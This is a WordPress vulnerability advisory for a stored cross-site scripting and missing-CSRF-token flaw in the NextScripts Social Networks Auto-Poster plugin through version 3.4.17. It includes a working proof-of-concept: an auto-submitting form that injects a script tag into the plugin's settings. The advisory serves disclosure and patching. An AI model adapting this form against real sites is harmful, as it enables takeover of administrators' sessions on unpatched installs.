NextScripts: Social Networks Auto-Poster <= 3.4.17 - Stored XSS

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Description
The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of Cross-Site Request Forgery token (nonce).
Proof of Concept
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/options-general.php?page=NextScripts_SNAP.php">
        <input type="hidden" name="nxsMainFromElementAccts" value="wp[0][nName]=<script>alert(1)</script>&wp[0][apWPURL]=&wp[0][apWPUName]=1&wp[0][apWPPass]=1&wp[0][apDoWP]=1&wp[0][apWPMsgTFrmt]=&wp[0][apWPMsgFrmt]="/>
</form>
<script>
        document.getElementById("form").submit();
</script>

Affects

Plugin social-networks-auto-poster-facebook-twitter-g
fixed in version 3.4.18

References

URL https://research.g0blin.co.uk/g0blin-00055/

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter James Hooker
Submitter Website https://research.g0blin.co.uk
Submitter Twitter g0blinResearch
Views 163
Verified No
WPVDB ID 8008

Timeline

Publicly Published 2015-05-25 (over 1 year ago)
Added 2015-05-26 (over 1 year ago)
Last Updated 2015-05-26 (over 1 year ago)

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